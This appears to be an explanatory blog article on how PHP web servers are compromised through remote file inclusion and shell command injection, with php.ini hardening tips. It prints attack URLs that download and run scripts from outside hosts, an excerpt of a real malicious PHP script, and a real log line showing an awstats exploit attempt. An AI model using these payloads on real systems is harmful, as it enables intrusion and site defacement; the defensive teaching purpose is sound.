A compromised web server from the hackers point of view

I want to show two common examples how a web server is hacked and what can be done to avoid it. You will also see the remote console the hacker gets in one case after he has compromised a system.

The basic principle of both attacks is that a web application does not sufficiently verify user input. In the first scenario this is used to run a script which resides on a totally different server. And in the second case the web application executes shell commands together with this input, e.g. as parameters. The latter leads to the situation that an attacker can execute his own shell commands by passing them within an input string to the web application.
Usually the user input is transferred within an URL. The attacker just needs to know an insecure script of the web application and how it processes the user input. He can then prepare a special URL which contains shell commands. For example if he passes the command 'id' to the system he can see its output in the browser.

1)Let's assume on the target machine resides a PHP script which has a bug that allows to call scripts from other than the local system through the variable "content". The only thing the attacker needs to do is to prepare an URL that exploits this vulnerability.

http://domainxyz/path/to/buggyscript.php?content=http://anotherserver/uploads/hack.txt

The script hack.txt runs with the permissions of the www user and can modify files that are writeable by the www user. Also system information can be displayed.

A real life example is a script with the name 1765f39098.txt. Here are the first few lines of it:

<?
$dir = @getcwd();
$ker = @php_uname();
echo "31337<br>";
$OS = @PHP_OS;
echo "<br>OSTYPE:$OS<br>";
echo "<br>Kernel:$ker<br>";
...
if(function_exists('exec')){
@exec($cfe,$res);
...

As soon the script is executed the hacker gets information about the target system like OS and kernel. Later on the script checks if dangerous PHP functions are available like exec, shell_exec, etc. Finally it checks free disk space and appends an IFRAME line to .php, .html and .htm files so that the web site now displays remote content.
Here is the output the hacker sees:

31337

OSTYPE:Linux

Kernel:Linux n1 2.6.18 #1 SMP Sat Oct 14 02:39:23 CEST 2006 x86_64
Free:15.5 GB
uid=81(apache) gid=81(apache) groups=81(apache)

One way to avoid such an attack in PHP applications is to set allow_url_fopen = Off in php.ini.

2)In the second example the attacker loads a shell script into /tmp and executes it directly. Now this script can be used by the hacker to control the server. How is this possible?
Let's assume on the target machine resides a PHP script which is unprotected. This script does not verify user input. It directly uses the input together with a shell command.

<? php
...
$par=$_GET['var1'];
...
shell_exec("$cmd $par");
...
?>

If the user input is normal data everything works as expected, $cmd is the intended shell command and $par is the necessary parameter.
A normal call of the script looks like this:

http://domainxyz/path/to/script.php?var1=42354

But what if the hacker calls:

http://domainxyz/path/to/script.php?var1=42354;cd%20/tmp;wget%20http://ser
verxyz/script.sh;chmod%20755%20script.sh;./script.sh"?

First the intended command is executed together with the parameter. But then the file script.sh is downloaded from serverxyz into /tmp of the compromised server and executed immediately.
Such a file usually opens a port allowing the hacker to remotely control the system. Now he is even independent from the web server and has direct access to a shell environment.

The web server has written the file script.sh into /tmp. Thus the owner of the file is the www user and if the script is executed it runs with the permissions of the www user. So the attacker has "just" these permissions. But they are most of the time sufficient for his purposes.

Here is an example of a real Apache log record where someone tried to exploit a vulnerability of awstats:

82.234.183.60 - - [21/Nov/2007:04:25:34 +0100] "GET /cgi-bin/awstats.pl?
configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;
./barbut;echo| HTTP/1.1" 404 278 "-" "Mozilla/4.0 (compatible; MSIE 6.0; 
Windows NT 5.1;)Connection: close"

One of the most commonly used scripts for that is the r57shell PHP script. When you open it in a text editor you see a large ascii graphic of a spider at the top. This script is rather large, it has more than 2000 lines of code. And in case of a successful attack the hacker has a complete PHP application running that allows him to do stupid things with the server. He can open ports, run shell commands, edit text files, send emails, upload files etc.

Is this enough to wake you up?

One possibility to avoid such exploits in PHP applications is to add dangerous functions to the disable_functions parameter in php.ini:

disable_functions = show_source, exec, shell_exec, system, popen, proc_open, proc_nice, ini_restore, passthru,dl